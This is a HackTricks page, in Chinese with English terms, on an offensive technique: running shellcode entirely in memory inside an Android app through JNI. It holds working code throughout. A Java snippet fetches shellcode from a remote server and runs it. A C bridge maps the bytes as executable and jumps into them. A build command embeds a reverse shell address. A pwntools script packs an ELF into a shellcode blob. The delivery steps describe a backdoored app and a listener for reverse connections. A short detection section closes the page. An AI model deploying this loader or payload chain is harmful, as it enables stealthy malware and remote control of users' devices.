Android In-Memory Native Code Execution via JNI (shellcode)

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本页面记录了一个实用模式,说明如何在不受信任的 Android app 进程中通过 JNI 完全在内存中执行本地 payload。该流程避免在磁盘上创建任何本地二进制:通过 HTTP(S) 下载原始 shellcode 字节,将它们传递给 JNI 桥,分配 RX 内存,然后跳转执行。

为什么这很重要

  • 减少取证痕迹(磁盘上无 ELF)
  • 与从 ELF exploit binary 生成的 “stage-2” 本地 payload 兼容
  • 符合现代 malware 和 red teams 使用的 tradecraft

高层次流程

  1. 在 Java/Kotlin 中获取 shellcode 字节
  2. 使用字节数组调用本地方法 (JNI)
  3. 在 JNI 中:分配 RW 内存 → 复制字节 → mprotect 为 RX → 调用 entrypoint

最小示例

Java/Kotlin 端

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI 端 (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

注意事项和警告

  • W^X/execmem: 现代 Android 强制执行 W^X;anonymous PROT_EXEC mappings 通常仍然允许应用进程在启用 JIT 的情况下使用(受 SELinux policy 限制)。一些设备/ROM 会限制此行为;必要时回退到 JIT-allocated exec pools 或 native bridges。
  • Architectures: 确保 shellcode architecture 与设备匹配(通常为 arm64-v8a;x86 仅在 emulators 上)。
  • Entrypoint contract: 为你的 shellcode 入口决定约定(无参数 vs 结构体指针)。保持它 position-independent (PIC)。
  • Stability: 在跳转前清理 instruction cache;不匹配的 cache 可能在 ARM 上导致崩溃。

Packaging ELF → position‑independent shellcode 一个稳健的操作流水是:

  • 使用 musl-gcc 将你的 exploit 构建为静态 ELF
  • 使用 pwntools’ shellcraft.loader_append 将 ELF 转换为自加载的 shellcode blob

构建

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

将 ELF 转换为原始 shellcode (amd64 示例)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

为什么 loader_append 有效:它会生成一个小型 loader,将嵌入的 ELF 程序段映射到内存并将控制权转移到其 entrypoint,从而得到一个可以被 memcpy'ed 并由 app 执行的单个 raw blob。

Delivery

  • 在你控制的 HTTP(S) 服务器上托管 sc
  • 被植入后门的/测试用 app 下载 sc 并调用上文所示的 JNI bridge
  • 在你的 operator box 上监听 kernel/user-mode payload 建立的任何 reverse connection

Validation workflow for kernel payloads

  • 使用带符号的 vmlinux 以便快速逆向/偏移恢复
  • 在方便的 debug image 上对 primitives 进行原型测试(如果可用),但务必在实际 Android 目标上重新验证(kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • 在可行的 app 域中禁止匿名 PROT_EXEC(SELinux policy)
  • 强制执行严格的代码完整性(no dynamic native loading from network)并验证更新通道
  • 监控可疑的 mmap/mprotect 到 RX 的转换,以及跳转前的大型 byte-array 复制

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks